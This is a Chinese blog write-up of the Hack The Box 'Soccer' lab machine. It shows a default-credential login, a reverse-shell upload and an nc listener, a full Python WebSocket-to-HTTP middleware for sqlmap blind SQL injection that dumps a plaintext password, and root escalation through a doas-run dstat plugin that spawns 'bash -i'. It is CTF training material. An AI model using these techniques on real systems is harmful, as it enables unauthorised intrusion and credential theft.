htb_Soccer

kali攻击机tun0ip:10.10.14.36

在这里插入图片描述

ping 10.10.11.194

在这里插入图片描述

 nmap -A 10.10.11.194

开放了80,22,9091端口

在这里插入图片描述

访问80端口,浏览器显示域名解析错误

解决方法:
kali攻击机设置本地域名解析

vim /etc/hosts
10.10.11.194  soccer.htb

在这里插入图片描述

可以访问了

http://soccer.htb

在这里插入图片描述

查看源码,没东西,里面的图片也下载下来看了,没有异常

在这里插入图片描述

目录扫描

dirsearch -u http://soccer.htb/ -w /home/user/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt

在这里插入图片描述

发现了一个状态码301的目录tiny

tiny file manager,一个简单的小型文件管理器

在这里插入图片描述

搜索发现,tiny file manager有默认的账号密码

在这里插入图片描述

使用默认账号登录

admin  admin@123

进来了!

在这里插入图片描述

点击tiny目录查看

在这里插入图片描述

发现了一个uploads目录,但目录是空的

在这里插入图片描述

才发现里有个upload,字有点小,刚刚没发现=_=

在这里插入图片描述

文件会上传到 /var/www/html/tiny/uploads 目录下

在这里插入图片描述

上传shell.php,我使用的是msf生成的反弹shell

(很有可能会失败,就像这样,出现底下这行字,就是没成功,而且隔一段时间文件就会被删除)

在这里插入图片描述

试了很多次,终于好了

在这里插入图片描述

上传成功后uploads目录如下

在这里插入图片描述

kali攻击机开启监听

nc -lvp 6666

点击shell.php后出现以下页面,点击Open

在这里插入图片描述

反弹成功

在这里插入图片描述

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'\; 

在这里插入图片描述

查看开放端口

netstat -lntp

开放了3306,就是数据库服务

在这里插入图片描述

目录探测

cd /home
ls 

在这里插入图片描述

player目录下有个flag,就是没权限看

欸,还有linpeas.sh,这么简单粗暴吗

在这里插入图片描述

./linpeas.sh

在这里插入图片描述

发现了个子域名soc-player.soccer.htb

在这里插入图片描述

再添加到/etc/hosts

在这里插入图片描述

比soccer.htb多了个Login的选项

在这里插入图片描述

注册一个账号看看

在这里插入图片描述

完了之后返回登录就好了

登录成功后出现了一个关于足球的页面,好像是买什么票?不太了解

在这里插入图片描述

随便输入点东西,回车

显示ticket doesn't exist

在这里插入图片描述

后面怎么点都没反应了,我就重新登录了一下

F12打开开发者工具,刷新界面查看

在这里插入图片描述

请求体里面有个WebSocket

在这里插入图片描述

WebSocket是什么?

  • HTTP是运行在TCP协议传输层上的应用协议,而WebSocket是通过HTTP协议协商如何连接,然后独立运行在TCP协议传输层上的应用协议。

  • Websocket是一个持久化的协议。 WebSocket是 H5
    提供的一种全双工网络通讯技术,模拟Socket协议,可以双向发送或接受信息

  • WebSocket的协议标识符是 ws,加密为 wss。

WebSocket和HTTP的关系

  • 客户端开始建立WebSocket连接时要发送一个header标记了Upgrade的HTTP请求,表示请求协议升级。所以服务器端做出响应的简便方法是,直接在现有的HTTP服务器软件和现有的端口上实现WebSocket协议,然后再回一个状态码为101的HTTP响应完成握手

WebSocket连接过程(客户端部分)

  • 客户端发送一个请求,该请求采用的是标准的HTTP报文格式,且只支持GET方法。

重点请求首部意义如下:
在这里插入图片描述

Connection: Upgrade:表示要升级协议 Upgrade: websocket:表示要升级到websocket协议。
Sec-WebSocket-Version: 13:表示websocket的版本。
Sec-WebSocket-Key:与后面服务端响应首部的Sec-WebSocket-Accept是配套的,提供基本的防护,比如恶意的连接,或者无意的连接。

看看源码,发现这个websocket将我们输入的id发送到 url ws://soc-player.soccer.htb:9091

在这里插入图片描述

这里我们知道了id参数,联系前面的数据库,自然而然有了一种sqli的感觉

但是因为这里使用的websocket协议,而sqlmap主要支持http协议,想要使用sqlmap自动注入,就需要使用一点特别的方法

在github搜索websocket的sql注入方法

找到了这个链接

rayhan0x01/nodejs-websocket-sqli: A simple NodeJS WebSocket WebApp vulnerable to blind SQL injection (github.com)

里面介绍到几个不同的websocket的sqli脚本

在这里插入图片描述

这里看看最底下的博客文章链接,介绍了如何用sqlmap实现自动化注入
blind-sqli-over-websocket-automation
这是原理简介,中文翻译看着有点歧义,最好直接看原文
在这里插入图片描述

将以下代码中变量ws_server的值修改为源码中的url :ws://soc-player.soccer.htb:9091

和变量data 中的"employeeID"也要改为"id""

在这里插入图片描述

完整代码如下

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
    ws = create_connection(ws_server)
    # If the server returns a response on connect, use below line    
    #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

    # For our case, format the payload in JSON
    message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
    data = '{"id":"%s"}' % message

    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port,content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False

            if payload:
                content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
    pass

按照教程里的方法继续

 pip3 install websocket-client

kali使用这个命令安装websocket-client会报错

在这里插入图片描述

按照提示,改用

apt install python3-websocket-client

还是不行

在这里插入图片描述

后面想了想,试试直接安装python3-websocket,居然本来就有了

在这里插入图片描述

vim WebSocket.py

写入刚刚的py代码

在这里插入图片描述

python3 WebSocket.py

成功运行脚本

在这里插入图片描述

新开一个终端,开始sqlmap注入(会有点久)

sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 --batch --dbs

存在注入点
在这里插入图片描述

在这里插入图片描述

sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 --batch -D soccer_db --tables

在这里插入图片描述

sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 --batch -D soccer_db -T accounts --colums
sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 --batch -D soccer_db -T accounts 
-C id,email,password,username --dump
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

得到用户密码后,ssh远程登录

在这里插入图片描述

目录探测

发现flag

在这里插入图片描述

c11aaace5bb99994f132364000701c3c

find / -perm -u=s -type f 2>/dev/null

查看suid权限文件,有个没见过的doas,还排在第一位,说不定是突破口

在这里插入图片描述

让我查查doas是个什么

在这里插入图片描述

查找doas配置文件

find / -name doas.conf 2>/dev/null
cat /usr/local/etc/doas.conf

这句英文大概就是说,通过执行doas文件,可以使普通用户player以root身份执行/usr/bin/dstat文件

在这里插入图片描述

dstat文件权限

在这里插入图片描述

再看看dstat是啥,这个链接是dstat的官方文档
dstat

dstat允许用户使用已有插件,也可以写入用户自己的插件

在这里插入图片描述

插件使用方法

在这里插入图片描述

看看插件的书写格式

cd /usr/share/dstat/

在这里插入图片描述

不对,这里不能写入文件

在这里插入图片描述

找找用户目录

find / -name dstat 2>/dev/null

有个local,没跑了

在这里插入图片描述

cd /usr/local/share/dstat/

写入提权脚本

因为调用插件时plalyer具有root权限,可以直接使用"bash -i"命令新建一个root权限的bash

 vim dstat_getroot.py
import os

os.system('bash -i')

给脚本赋予执行权力

chmod +777 dstat_getroot.py

执行getroot文件

doas /usr/bin/dstat  --getroot

在这里插入图片描述

成功提权

在这里插入图片描述

获得flag

af20a9eced62e60b5469be5ac6f62a84

o了 😃

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值